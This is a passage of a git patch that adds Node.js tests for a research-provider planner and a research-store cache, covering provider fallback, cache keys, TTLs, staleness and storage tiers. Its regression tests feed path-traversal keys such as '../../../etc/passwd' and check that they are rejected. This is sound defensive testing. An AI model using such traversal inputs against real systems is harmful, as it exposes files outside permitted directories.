assert.equal(classifyConfidence({ provider: 'context7', legitimacyVerdict: 'SLOP' }), 'LOW'); + }); + + test('exa + legitimacyVerdict OK -> HIGH (verification drives, independent of provider)', () => { + assert.equal(classifyConfidence({ provider: 'exa', legitimacyVerdict: 'OK' }), 'HIGH'); + }); + + test('zzz + legitimacyVerdict OK -> MEDIUM (groundTruth but unknown provider)', () => { + assert.equal(classifyConfidence({ provider: 'zzz', legitimacyVerdict: 'OK' }), 'MEDIUM'); + }); + + test('legitimacyVerdict SUS + context7 -> MEDIUM (SUS is not OK, authority gives MEDIUM)', () => { + assert.equal(classifyConfidence({ provider: 'context7', legitimacyVerdict: 'SUS' }), 'MEDIUM'); + }); +}); + +// --------------------------------------------------------------------------- +// Cycle 5: providerAvailability + planResearch web question picks tavily +// --------------------------------------------------------------------------- + +describe('research-provider: providerAvailability', () => { + test('exa false, tavily true, context7 always true, websearch always true', () => { + const avail = providerAvailability({ exa_search: false, tavily_search: true }); + assert.equal(avail.exa, false); + assert.equal(avail.tavily, true); + assert.equal(avail.context7, true); + assert.equal(avail.websearch, true); + }); + + test('planResearch web question with exa disabled picks tavily', async () => { + const result = await planResearch({ + questions: [{ text: 'latest trends in AI', kind: 'web' }], + ecosystem: 'npm', + cwd: '/tmp', + config: { exa_search: false, tavily_search: true }, + store: makeFakeStore({ hit: false, stale: false }), + }); + + const item = result.items[0]; + assert.equal(item.fetch.provider, 'tavily'); + }); +}); + +// --------------------------------------------------------------------------- +// Cycle 6: PROVIDER_WATERFALL shape — firecrawl ONLY in scrape +// --------------------------------------------------------------------------- + +describe('research-provider: PROVIDER_WATERFALL shape', () => { + test('docs array exists and contains context7', () => { + assert.ok(Array.isArray(PROVIDER_WATERFALL.docs)); + assert.ok(PROVIDER_WATERFALL.docs.includes('context7')); + }); + + test('web array exists and contains exa', () => { + assert.ok(Array.isArray(PROVIDER_WATERFALL.web)); + assert.ok(PROVIDER_WATERFALL.web.includes('exa')); + }); + + test('scrape array exists and contains firecrawl', () => { + assert.ok(Array.isArray(PROVIDER_WATERFALL.scrape)); + assert.ok(PROVIDER_WATERFALL.scrape.includes('firecrawl')); + }); + + test('firecrawl NOT in docs (Balanced-set decision)', () => { + assert.ok(!PROVIDER_WATERFALL.docs.includes('firecrawl')); + }); + + test('firecrawl NOT in web (Balanced-set decision)', () => { + assert.ok(!PROVIDER_WATERFALL.web.includes('firecrawl')); + }); + + test('PROVIDER_WATERFALL has exactly docs, web, scrape keys', () => { + const keys = Object.keys(PROVIDER_WATERFALL).sort(); + assert.deepEqual(keys, ['docs', 'scrape', 'web']); + }); +}); + +// --------------------------------------------------------------------------- +// Cycle 7: terminal fallback — all premium flags false -> websearch +// --------------------------------------------------------------------------- + +describe('research-provider: terminal fallback to websearch', () => { + test('web question with all premium providers disabled picks websearch', async () => { + const noPremiConfig = { + exa_search: false, + tavily_search: false, + brave_search: false, + firecrawl: false, + ref_search: false, + perplexity: false, + }; + + const result = await planResearch({ + questions: [{ text: 'current js bundler comparison', kind: 'web' }], + ecosystem: 'npm', + cwd: '/tmp', + config: noPremiConfig, + store: makeFakeStore({ hit: false, stale: false }), + }); + + const item = result.items[0]; + assert.equal(item.fetch.provider, 'websearch'); + }); +}); + +// --------------------------------------------------------------------------- +// FINDING 5 REGRESSION: planResearch skips questions with missing/non-string text +// --------------------------------------------------------------------------- + +describe('FINDING-5: planResearch skips questions without non-empty string text', () => { + test('question without text field → skipped; valid question → emitted (exactly 1 item)', async () => { + // [{kind:'docs'}, {text:'use zod', kind:'docs'}] → only 1 item (for 'use zod') + // CURRENTLY emits 2 items (first with question:undefined) — that is the bug. + const result = await planResearch({ + questions: [ + { kind: 'docs' }, // no text — must be skipped + { text: 'use zod', kind: 'docs' }, // valid — must be emitted + ], + ecosystem: 'npm', + cwd: '/tmp', + config: FULL_CONFIG, + store: makeFakeStore({ hit: false, stale: false }), + }); + + assert.ok(Array.isArray(result.items), 'result.items must be an array'); + assert.equal( + result.items.length, + 1, + `FINDING-5: expected exactly 1 item (text-less question skipped), got ${result.items.length}: ${JSON.stringify(result.items)}`, + ); + assert.equal(result.items[0].question, 'use zod', 'retained item must be the valid question'); + }); + + test('question with text:null → skipped', async () => { + const result = await planResearch({ + questions: [{ text: null, kind: 'docs' }, { text: 'valid', kind: 'docs' }], + ecosystem: 'npm', + cwd: '/tmp', + config: FULL_CONFIG, + store: makeFakeStore({ hit: false, stale: false }), + }); + + assert.equal(result.items.length, 1, `null-text question should be skipped; got ${result.items.length} items`); + assert.equal(result.items[0].question, 'valid'); + }); + + test('question with text:"" (empty string) → skipped', async () => { + const result = await planResearch({ + questions: [{ text: '', kind: 'docs' }, { text: 'valid2', kind: 'docs' }], + ecosystem: 'npm', + cwd: '/tmp', + config: FULL_CONFIG, + store: makeFakeStore({ hit: false, stale: false }), + }); + + assert.equal(result.items.length, 1, `empty-string text question should be skipped; got ${result.items.length} items`); + assert.equal(result.items[0].question, 'valid2'); + }); + + test('all questions lack text → empty items array', async () => { + const result = await planResearch({ + questions: [{ kind: 'docs' }, { kind: 'web' }], + ecosystem: 'npm', + cwd: '/tmp', + config: FULL_CONFIG, + store: makeFakeStore({ hit: false, stale: false }), + }); + + assert.equal(result.items.length, 0, `all text-less questions should yield empty items`); + }); +}); diff --git a/tests/research-store.property.test.cjs b/tests/research-store.property.test.cjs new file mode 100644 index 000000000..c4458fb23 --- /dev/null +++ b/tests/research-store.property.test.cjs @@ -0,0 +1,64 @@ +'use strict'; + +/** + * Property-based tests for research-store.cjs + * + * Properties tested: + * (a) researchKey: never throws on arbitrary inputs (optional strings/null/undefined/numbers) + * (b) researchKey: stable across two calls for the same input object + */ + +const { describe, test } = require('node:test'); +const assert = require('node:assert/strict'); +const fc = require('./helpers/fast-check-setup.cjs'); + +const { researchKey } = require('../gsd-core/bin/lib/research-store.cjs'); + +const arbitraryField = fc.oneof( + fc.string(), + fc.constant(null), + fc.constant(undefined), + fc.integer(), + fc.float({ noNaN: true }), + fc.boolean() +); + +const arbitraryInput = fc.record( + { + ecosystem: arbitraryField, + library: arbitraryField, + version: arbitraryField, + query: arbitraryField, + kind: arbitraryField, + }, + { requiredKeys: [] } +); + +describe('research-store: researchKey property tests', () => { + test('property: never throws on arbitrary inputs', () => { + fc.assert( + fc.property(arbitraryInput, (input) => { + assert.doesNotThrow(() => researchKey(input)); + }) + ); + }); + + test('property: stable — same input object produces same key on two calls', () => { + fc.assert( + fc.property(arbitraryInput, (input) => { + const k1 = researchKey(input); + const k2 = researchKey(input); + assert.equal(k1, k2); + }) + ); + }); + + test('property: always returns a 64-char hex string', () => { + fc.assert( + fc.property(arbitraryInput, (input) => { + const k = researchKey(input); + assert.match(k, /^[0-9a-f]{64}$/); + }) + ); + }); +}); diff --git a/tests/research-store.test.cjs b/tests/research-store.test.cjs new file mode 100644 index 000000000..96fe81b7a --- /dev/null +++ b/tests/research-store.test.cjs @@ -0,0 +1,639 @@ +'use strict'; + +/** + * Behavioral tests for research-store.cjs + * + * No source-grep. All tests call exported functions and assert on returned objects. + */ + +const { describe, test, beforeEach, afterEach } = require('node:test'); +const assert = require('node:assert/strict'); +const fs = require('node:fs'); +const os = require('node:os'); +const path = require('node:path'); +const { cleanup } = require('./helpers.cjs'); + +const { + researchKey, + ttlForSource, + resolveStorePath, + putResearch, + getResearch, +} = require('../gsd-core/bin/lib/research-store.cjs'); + +// --------------------------------------------------------------------------- +// Cycle 2: researchKey deterministic + sensitive +// --------------------------------------------------------------------------- + +describe('research-store: researchKey deterministic + sensitive', () => { + const base = { ecosystem: 'npm', library: 'lodash', version: '4.17.21', query: 'chunk', kind: 'docs' }; + + test('same inputs produce the same key', () => { + const k1 = researchKey({ ...base }); + const k2 = researchKey({ ...base }); + assert.equal(k1, k2); + }); + + test('key is a 64-char hex sha256', () => { + const k = researchKey(base); + assert.match(k, /^[0-9a-f]{64}$/); + }); + + test('changing ecosystem changes the key', () => { + assert.notEqual(researchKey({ ...base, ecosystem: 'pypi' }), researchKey(base)); + }); + + test('changing library changes the key', () => { + assert.notEqual(researchKey({ ...base, library: 'underscore' }), researchKey(base)); + }); + + test('changing version changes the key', () => { + assert.notEqual(researchKey({ ...base, version: '3.0.0' }), researchKey(base)); + }); + + test('changing query changes the key', () => { + assert.notEqual(researchKey({ ...base, query: 'merge' }), researchKey(base)); + }); + + test('changing kind changes the key', () => { + assert.notEqual(researchKey({ ...base, kind: 'web' }), researchKey(base)); + }); + + test('never throws on arbitrary/missing inputs', () => { + assert.doesNotThrow(() => researchKey({})); + assert.doesNotThrow(() => researchKey({ ecosystem: null, library: undefined, version: 42, query: '', kind: false })); + }); +}); + +// --------------------------------------------------------------------------- +// Cycle 4: getResearch on missing key → {hit:false, stale:false, entry:null} +// --------------------------------------------------------------------------- + +describe('research-store: getResearch missing key', () => { + let tmpCwd; + let tmpHome; + + beforeEach(() => { + tmpCwd = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-cwd-')); + tmpHome = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-home-')); + }); + + afterEach(() => { + cleanup(tmpCwd); + cleanup(tmpHome); + }); + + test('returns {hit:false, stale:false, entry:null} for missing key, does not throw', () => { + assert.doesNotThrow(() => { + const result = getResearch(tmpCwd, 'nonexistentkey', { homeDir: tmpHome }); + assert.equal(result.hit, false); + assert.equal(result.stale, false); + assert.equal(result.entry, null); + }); + }); + + test('returns {hit:false} when kind omitted and key absent in both tiers', () => { + const result = getResearch(tmpCwd, 'nonexistentkey2', { homeDir: tmpHome }); + assert.equal(result.hit, false); + assert.equal(result.stale, false); + assert.equal(result.entry, null); + }); +}); + +// --------------------------------------------------------------------------- +// Cycle 5: getResearch on corrupt entry file → {hit:false, stale:false, entry:null} +// --------------------------------------------------------------------------- + +describe('research-store: getResearch corrupt file', () => { + let tmpCwd; + let tmpHome; + + beforeEach(() => { + tmpCwd = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-cwd-')); + tmpHome = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-home-')); + }); + + afterEach(() => { + cleanup(tmpCwd); + cleanup(tmpHome); + }); + + test('returns {hit:false, stale:false, entry:null} on corrupt JSON, does not throw', () => { + // Write garbage JSON to the expected path for a 'web' source (project tier) + const dir = resolveStorePath(tmpCwd, 'web', { homeDir: tmpHome }); + fs.mkdirSync(dir, { recursive: true }); + const corruptKey = 'corruptkey123'; + fs.writeFileSync(path.join(dir, `${corruptKey}.json`), '{'); + + assert.doesNotThrow(() => { + const result = getResearch(tmpCwd, corruptKey, { homeDir: tmpHome }); + assert.equal(result.hit, false); + assert.equal(result.stale, false); + assert.equal(result.entry, null); + }); + }); +}); + +// --------------------------------------------------------------------------- +// Cycle 6: ttlForSource policy — 30d / 7d / 1d +// --------------------------------------------------------------------------- + +describe('research-store: ttlForSource policy', () => { + const DAY_MS = 86_400_000; + + test('curated + HIGH → 30 days', () => { + assert.equal(ttlForSource('curated', 'HIGH'), 30 * DAY_MS); + }); + + test('curated + MEDIUM → 7 days', () => { + assert.equal(ttlForSource('curated', 'MEDIUM'), 7 * DAY_MS); + }); + + test('web source → 1 day (regardless of confidence)', () => { + assert.equal(ttlForSource('web', 'HIGH'), DAY_MS); + }); + + test('confidence LOW → 1 day (regardless of source)', () => { + assert.equal(ttlForSource('curated', 'LOW'), DAY_MS); + }); + + test('default (unknown source + confidence) → 1 day', () => { + assert.equal(ttlForSource('unknown', 'UNKNOWN'), DAY_MS); + }); +}); + +// --------------------------------------------------------------------------- +// Cycle 7: STALENESS BOUNDARY (clock seam) +// Put at clock now=0; ttl = 30d (curated/HIGH = 2592000000ms) +// now = ttl-1 → stale:false +// now = ttl → stale:false (strict >; equal is NOT stale) +// now = ttl+1 → stale:true +// --------------------------------------------------------------------------- + +describe('research-store: staleness boundary (clock seam)', () => { + const DAY_MS = 86_400_000; + const TTL_30D = 30 * DAY_MS; + let tmpCwd; + let tmpHome; + + beforeEach(() => { + tmpCwd = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-cwd-')); + tmpHome = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-home-')); + }); + + afterEach(() => { + cleanup(tmpCwd); + cleanup(tmpHome); + }); + + function putAtZero(cwd, home, key) { + const clockZero = { now: () => 0 }; + // version:'4.17.21' prevents the blank-version TTL cap so TTL stays at 30d + putResearch( + cwd, + key, + { content: 'data', source: 'curated', provider: 'p', confidence: 'HIGH', kind: 'docs', version: '4.17.21' }, + { clock: clockZero, homeDir: home } + ); + } + + test('now = ttl-1 → stale:false', () => { + const key = researchKey({ ecosystem: 'x', kind: 'docs', query: 'ttl-minus-1' }); + putAtZero(tmpCwd, tmpHome, key); + const result = getResearch(tmpCwd, key, { clock: { now: () => TTL_30D - 1 }, homeDir: tmpHome }); + assert.equal(result.hit, true); + assert.equal(result.stale, false, 'age = ttl-1 should NOT be stale'); + }); + + test('now = ttl → stale:false (strict > boundary: equal is not stale)', () => { + const key = researchKey({ ecosystem: 'x', kind: 'docs', query: 'ttl-exact' }); + putAtZero(tmpCwd, tmpHome, key); + const result = getResearch(tmpCwd, key, { clock: { now: () => TTL_30D }, homeDir: tmpHome }); + assert.equal(result.hit, true); + assert.equal(result.stale, false, 'age = ttl exactly should NOT be stale (strict >)'); + }); + + test('now = ttl+1 → stale:true', () => { + const key = researchKey({ ecosystem: 'x', kind: 'docs', query: 'ttl-plus-1' }); + putAtZero(tmpCwd, tmpHome, key); + const result = getResearch(tmpCwd, key, { clock: { now: () => TTL_30D + 1 }, homeDir: tmpHome }); + assert.equal(result.hit, true); + assert.equal(result.stale, true, 'age = ttl+1 should be stale'); + }); +}); + +// --------------------------------------------------------------------------- +// Cycle 8: resolveStorePath tiers — source-derived (I1) +// --------------------------------------------------------------------------- + +describe('research-store: resolveStorePath tiers', () => { + const FAKE_HOME = '/fake/home'; + const FAKE_CWD = '/fake/cwd'; + + test("source 'curated' → under injected homeDir/.gsd/research-cache", () => { + const p = resolveStorePath(FAKE_CWD, 'curated', { homeDir: FAKE_HOME }); + assert.equal(p, path.join(FAKE_HOME, '.gsd', 'research-cache')); + }); + + test("source 'web' (project) → under cwd/.planning/research/.cache", () => { + const p = resolveStorePath(FAKE_CWD, 'web', { homeDir: FAKE_HOME }); + assert.equal(p, path.join(FAKE_CWD, '.planning', 'research', '.cache')); + }); + + test("source 'synthesis' (project) → under cwd/.planning/research/.cache", () => { + const p = resolveStorePath(FAKE_CWD, 'synthesis', { homeDir: FAKE_HOME }); + assert.equal(p, path.join(FAKE_CWD, '.planning', 'research', '.cache')); + }); + + test("source 'legitimacy' (project) → under cwd/.planning/research/.cache", () => { + const p = resolveStorePath(FAKE_CWD, 'legitimacy', { homeDir: FAKE_HOME }); + assert.equal(p, path.join(FAKE_CWD, '.planning', 'research', '.cache')); + }); + + test('paths are absolute', () => { + const curated = resolveStorePath(FAKE_CWD, 'curated', { homeDir: FAKE_HOME }); + const web = resolveStorePath(FAKE_CWD, 'web', { homeDir: FAKE_HOME }); + assert.ok(path.isAbsolute(curated)); + assert.ok(path.isAbsolute(web)); + }); +}); + +// --------------------------------------------------------------------------- +// I1 REGRESSION: putResearch with source:'web', kind:'docs' → project tier +// (currently fails: kind:'docs' forces user tier regardless of source) +// --------------------------------------------------------------------------- + +describe('research-store: I1 regression — source is the tier axis', () => { + let tmpCwd; + let tmpHome; + + beforeEach(() => { + tmpCwd = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-i1-cwd-')); + tmpHome = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-i1-home-')); + }); + + afterEach(() => { + cleanup(tmpCwd); + cleanup(tmpHome); + }); + + test('source:web + kind:docs → file in PROJECT dir, NOT user dir', () => { + const key = researchKey({ ecosystem: 'npm', library: 'axios', version: '1.0.0', query: 'get', kind: 'docs' }); + putResearch( + tmpCwd, + key, + { content: 'web data', source: 'web', provider: 'web', confidence: 'HIGH', kind: 'docs' }, + { homeDir: tmpHome } + ); + + const projectFile = path.join(tmpCwd, '.planning', 'research', '.cache', `${key}.json`); + const userFile = path.join(tmpHome, '.gsd', 'research-cache', `${key}.json`); + + assert.ok(fs.existsSync(projectFile), 'file should exist in project dir (.planning/research/.cache)'); + assert.ok(!fs.existsSync(userFile), 'file should NOT exist in user dir (~/.gsd/research-cache)'); + }); + + test('source:curated + kind:web → file in USER dir, NOT project dir', () => { + const key = researchKey({ ecosystem: 'npm', library: 'zod', version: '3.0.0', query: 'parse', kind: 'web' }); + putResearch( + tmpCwd, + key, + { content: 'curated data', source: 'curated', provider: 'ctx7', confidence: 'HIGH', kind: 'web' }, + { homeDir: tmpHome } + ); + + const projectFile = path.join(tmpCwd, '.planning', 'research', '.cache', `${key}.json`); + const userFile = path.join(tmpHome, '.gsd', 'research-cache', `${key}.json`); + + assert.ok(fs.existsSync(userFile), 'file should exist in user dir (~/.gsd/research-cache)'); + assert.ok(!fs.existsSync(projectFile), 'file should NOT exist in project dir'); + }); +}); + +// --------------------------------------------------------------------------- +// W4 REGRESSION: getResearch prefers FRESHEST across both tiers +// (currently returns first-match regardless of staleness) +// --------------------------------------------------------------------------- + +describe('research-store: W4a regression — prefer fresh over stale across tiers', () => { + const DAY_MS = 86_400_000; + let tmpCwd; + let tmpHome; + + beforeEach(() => { + tmpCwd = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-w4-cwd-')); + tmpHome = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-w4-home-')); + }); + + afterEach(() => { + cleanup(tmpCwd); + cleanup(tmpHome); + }); + + test('fresh project entry wins over stale curated entry for same key', () => { + // After fix: source derives tier. We use distinct source values so entries land in different tiers. + // We compute the key without kind so both entries share the same key. + const key = researchKey({ ecosystem: 'npm', library: 'react', version: '18.0.0', query: 'hooks' }); + + // Seed a STALE curated entry directly into user tier directory + const userDir = path.join(tmpHome, '.gsd', 'research-cache'); + fs.mkdirSync(userDir, { recursive: true }); + const staleEntry = { + content: 'stale curated content', + source: 'curated', + provider: 'ctx7', + confidence: 'HIGH', + fetched_at: new Date(0).toISOString(), // epoch → always stale at t=100d + ttl: 30 * DAY_MS, + kind: 'docs', + }; + fs.writeFileSync(path.join(userDir, `${key}.json`), JSON.stringify(staleEntry)); + + // Seed a FRESH web entry directly into project tier directory + const freshClock = { now: () => 100 * DAY_MS }; // well beyond the curated entry's TTL + const projectDir = path.join(tmpCwd, '.planning', 'research', '.cache'); + fs.mkdirSync(projectDir, { recursive: true }); + const freshEntry = { + content: 'fresh web content', + source: 'web', + provider: 'web', + confidence: 'HIGH', + fetched_at: new Date(100 * DAY_MS).toISOString(), // brand new + ttl: DAY_MS, + kind: 'docs', + }; + fs.writeFileSync(path.join(projectDir, `${key}.json`), JSON.stringify(freshEntry)); + + // Now at freshClock time, curated is stale (age=100d > 30d ttl) but web is fresh (age=0 < 1d ttl) + const result = getResearch(tmpCwd, key, { clock: freshClock, homeDir: tmpHome }); + + assert.equal(result.hit, true, 'should find a hit'); + assert.equal(result.stale, false, 'should return the FRESH entry (stale:false)'); + assert.equal(result.entry.content, 'fresh web content', 'should return fresh web content, not stale curated'); + assert.equal(result.entry.source, 'web', 'source should be web'); + }); +}); + +// --------------------------------------------------------------------------- +// W4b REGRESSION: blank version caps TTL at DAY_MS +// (currently blank version still gets 30d curated TTL) +// --------------------------------------------------------------------------- + +describe('research-store: W4b regression — blank version caps TTL', () => { + const DAY_MS = 86_400_000; + let tmpCwd; + let tmpHome; + + beforeEach(() => { + tmpCwd = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-w4b-cwd-')); + tmpHome = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-w4b-home-')); + }); + + afterEach(() => { + cleanup(tmpCwd); + cleanup(tmpHome); + }); + + test('curated + HIGH + version blank → ttl = DAY_MS (capped)', () => { + const key = researchKey({ ecosystem: 'npm', library: 'lodash', version: '', query: 'chunk', kind: 'docs' }); + const entry = putResearch( + tmpCwd, + key, + { content: 'data', source: 'curated', provider: 'ctx7', confidence: 'HIGH', kind: 'docs', version: '' }, + { homeDir: tmpHome } + ); + assert.equal(entry.ttl, DAY_MS, 'blank version should cap TTL at DAY_MS, not 30*DAY_MS'); + }); + + test('curated + HIGH + version "1.2.3" → ttl = 30 * DAY_MS (uncapped)', () => { + const key = researchKey({ ecosystem: 'npm', library: 'lodash', version: '1.2.3', query: 'chunk', kind: 'docs' }); + const entry = putResearch( + tmpCwd, + key, + { content: 'data', source: 'curated', provider: 'ctx7', confidence: 'HIGH', kind: 'docs', version: '1.2.3' }, + { homeDir: tmpHome } + ); + assert.equal(entry.ttl, 30 * DAY_MS, 'non-blank version should NOT cap TTL'); + }); +}); + +// --------------------------------------------------------------------------- +// Cycle 1: TRACER BULLET — round-trip put then get +// --------------------------------------------------------------------------- + +describe('research-store: tracer bullet round-trip', () => { + let tmpCwd; + let tmpHome; + + beforeEach(() => { + tmpCwd = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-cwd-')); + tmpHome = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-home-')); + }); + + afterEach(() => { + cleanup(tmpCwd); + cleanup(tmpHome); + }); + + test('put then get returns hit:true, stale:false, entry with content preserved', () => { + const fixedClock = { now: () => 0 }; + const key = researchKey({ ecosystem: 'npm', library: 'lodash', version: '4.17.21', query: 'chunk', kind: 'docs' }); + + const stored = putResearch( + tmpCwd, + key, + { content: 'lodash chunk docs', source: 'curated', provider: 'npm', confidence: 'HIGH', kind: 'docs' }, + { clock: fixedClock, homeDir: tmpHome } + ); + + assert.equal(stored.content, 'lodash chunk docs', 'putResearch returns entry with content'); + + const result = getResearch(tmpCwd, key, { clock: fixedClock, homeDir: tmpHome }); + + assert.equal(result.hit, true, 'hit should be true'); + assert.equal(result.stale, false, 'stale should be false at time 0'); + assert.ok(result.entry !== null, 'entry should not be null'); + assert.equal(result.entry.content, 'lodash chunk docs', 'content preserved'); + assert.equal(result.entry.source, 'curated'); + assert.equal(result.entry.confidence, 'HIGH'); + }); +}); + +// --------------------------------------------------------------------------- +// FINDING 1 REGRESSION: key validation / path-traversal prevention +// --------------------------------------------------------------------------- + +describe('research-store: isValidResearchKey exported', () => { + const { isValidResearchKey } = require('../gsd-core/bin/lib/research-store.cjs'); + + test('isValidResearchKey is exported', () => { + assert.equal(typeof isValidResearchKey, 'function', 'isValidResearchKey must be exported'); + }); + + test('64-char hex key is valid', () => { + assert.equal(isValidResearchKey('a'.repeat(64)), true); + assert.equal(isValidResearchKey('0123456789abcdef'.repeat(4)), true); + }); + + test('short key is invalid', () => { + assert.equal(isValidResearchKey('abc'), false); + }); + + test('traversal key is invalid', () => { + assert.equal(isValidResearchKey('../../../etc/passwd'), false); + }); + + test('non-hex 64-char key is invalid', () => { + assert.equal(isValidResearchKey('g'.repeat(64)), false); + }); + + test('non-string is invalid', () => { + assert.equal(isValidResearchKey(null), false); + assert.equal(isValidResearchKey(undefined), false); + assert.equal(isValidResearchKey(123), false); + }); +}); + +describe('research-store: putResearch rejects traversal key', () => { + let tmpCwd; + let tmpHome; + + beforeEach(() => { + tmpCwd = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-trav-cwd-')); + tmpHome = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-trav-home-')); + }); + + afterEach(() => { + cleanup(tmpCwd); + cleanup(tmpHome); + }); + + test('putResearch throws on traversal key and does NOT write any file outside cache dir', () => { + const traversalKey = '../../../' + 'x'.repeat(10); + // Verify no file is created outside + const outsideTarget = path.join(os.tmpdir(), 'x'.repeat(10) + '.json'); + // Remove any pre-existing file at traversal target + try { fs.unlinkSync(outsideTarget); } catch { /* ignore */ } + + assert.throws( + () => putResearch(tmpCwd, traversalKey, { content: 'evil', source: 'web', provider: 'p', confidence: 'HIGH', kind: 'docs' }, { homeDir: tmpHome }), + /invalid research key/i + ); + assert.equal(fs.existsSync(outsideTarget), false, 'traversal target must not be created'); + }); + + test('putResearch throws on short/fake key', () => { + assert.throws( + () => putResearch(tmpCwd, 'abc', { content: 'x', source: 'web', provider: 'p', confidence: 'HIGH', kind: 'docs' }, { homeDir: tmpHome }), + /invalid research key/i + ); + }); + + test('putResearch succeeds with valid 64-hex key', () => { + const key = researchKey({ ecosystem: 'npm', library: 'react', version: '18.0.0', query: 'hooks', kind: 'docs' }); + assert.doesNotThrow(() => { + putResearch(tmpCwd, key, { content: 'ok', source: 'web', provider: 'p', confidence: 'HIGH', kind: 'docs' }, { homeDir: tmpHome }); + }); + }); +}); + +describe('research-store: getResearch rejects traversal key', () => { + let tmpCwd; + let tmpHome; + + beforeEach(() => { + tmpCwd = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-trav2-cwd-')); + tmpHome = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-trav2-home-')); + }); + + afterEach(() => { + cleanup(tmpCwd); + cleanup(tmpHome); + }); + + test('getResearch returns {hit:false} on traversal key and does NOT read outside cache dir', () => { + const traversalKey = '../../../etc/passwd'; + const result = getResearch(tmpCwd, traversalKey, { homeDir: tmpHome }); + assert.equal(result.hit, false, 'traversal key must return hit:false'); + assert.equal(result.stale, false); + assert.equal(result.entry, null); + }); + + test('getResearch returns {hit:false} on short key', () => { + const result = getResearch(tmpCwd, 'k1', { homeDir: tmpHome }); + assert.equal(result.hit, false); + }); +}); + +// --------------------------------------------------------------------------- +// FINDING 3 REGRESSION: malformed cache metadata treated as fresh +// --------------------------------------------------------------------------- + +describe('research-store: getResearch rejects malformed cache metadata', () => { + let tmpCwd; + let tmpHome; + + beforeEach(() => { + tmpCwd = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-malformed-cwd-')); + tmpHome = fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-rs-malformed-home-')); + }); + + afterEach(() => { + cleanup(tmpCwd); + cleanup(tmpHome); + }); + + function writeEntry(dir, key, entry) { + fs.mkdirSync(dir, { recursive: true }); + fs.writeFileSync(path.join(dir, `${key}.json`), JSON.stringify(entry)); + } + + test('missing fetched_at → hit:false (not treated as fresh)', () => { + const key = researchKey({ ecosystem: 'npm', library: 'bad', version: '1.0.0', query: 'q', kind: 'docs' }); + const dir = path.join(tmpCwd, '.planning', 'research', '.cache'); + writeEntry(dir, key, { content: 'x', source: 'web', provider: 'p', confidence: 'HIGH', kind: 'docs', ttl: 86400000 }); + // fetched_at is missing + const result = getResearch(tmpCwd, key, { homeDir: tmpHome }); + assert.equal(result.hit, false, 'missing fetched_at must return hit:false'); + }); + + test('ttl = "abc" (string) → hit:false', () => { + const key = researchKey({ ecosystem: 'npm', library: 'bad2', version: '1.0.0', query: 'q', kind: 'docs' }); + const dir = path.join(tmpCwd, '.planning', 'research', '.cache'); + writeEntry(dir, key, { content: 'x', source: 'web', provider: 'p', confidence: 'HIGH', kind: 'docs', fetched_at: new Date().toISOString(), ttl: 'abc' }); + const result = getResearch(tmpCwd, key, { homeDir: tmpHome }); + assert.equal(result.hit, false, 'string ttl must return hit:false'); + }); + + test('ttl = 0 → hit:false', () => { + const key = researchKey({ ecosystem: 'npm', library: 'bad3', version: '1.0.0', query: 'q', kind: 'docs' }); + const dir = path.join(tmpCwd, '.planning', 'research', '.cache'); + writeEntry(dir, key, { content: 'x', source: 'web', provider: 'p', confidence: 'HIGH', kind: 'docs', fetched_at: new Date().toISOString(), ttl: 0 }); + const result = getResearch(tmpCwd, key, { homeDir: tmpHome }); + assert.equal(result.hit, false, 'ttl=0 must return hit:false'); + }); + + test('ttl = -1 (negative) → hit:false', () => { + const key = researchKey({ ecosystem: 'npm', library: 'bad4', version: '1.0.0', query: 'q', kind: 'docs' }); + const dir = path.join(tmpCwd, '.planning', 'research', '.cache'); + writeEntry(dir, key, { content: 'x', source: 'web', provider: 'p', confidence: 'HIGH', kind: 'docs', fetched_at: new Date().toISOString(), ttl: -1 }); + const result = getResearch(tmpCwd, key, { homeDir: tmpHome }); + assert.equal(result.hit, false, 'negative ttl must return hit:false'); + }); + + test('fetched_at = "not-a-date" → hit:false', () => { + const key = researchKey({ ecosystem: 'npm', library: 'bad5', version: '1.0.0', query: 'q', kind: 'docs' }); + const dir = path.join(tmpCwd, '.planning', 'research', '.cache'); + writeEntry(dir, key, { content: 'x', source: 'web', provider: 'p', confidence: 'HIGH', kind: 'docs', fetched_at: 'not-a-date', ttl: 86400000 }); + const result = getResearch(tmpCwd, key, { homeDir: tmpHome }); + assert.equal(result.hit, false, 'invalid fetched_at must return hit:false'); + }); + + test('valid entry still works', () => { + const key = researchKey({ ecosystem: 'npm', library: 'good', version: '1.0.0', query: 'q', kind: 'docs' }); + const dir = path.join(tmpCwd, '.planning', 'research', '.cache'); + writeEntry(dir, key, { content: 'valid', source: 'web', provider: 'p', confidence: 'HIGH', kind: 'docs', fetched_at: new Date().toISOString(), ttl: 86400000 }); + const result = getResearch(tmpCwd, key, { homeDir: tmpHome }); + assert.equal(result.hit, true, 'valid entry should still hit'); + }); +}); From 31edeb1b54afd728011791dcc2780f64d146fd41 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Fri, 5 Jun 2026 20:19:08 -0400 Subject: [PATCH 20/94] feat(#717): re-base workflow size budget on bytes + document quality rationale (#719) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(#717): re-base workflow size budget on bytes + document quality rationale Re-base tests/workflow-size-budget.test.cjs from line counts to byte counts (matches Codex's 32,768-byte project_doc_max_bytes cap; deterministic, no tokenizer). Tier ceilings: XL=90000, LARGE=54000, DEFAULT=38000, GRACE=3000; discuss-phase target re-expressed as <30 KB. The #597 tighten-only ratchet and per-file budget 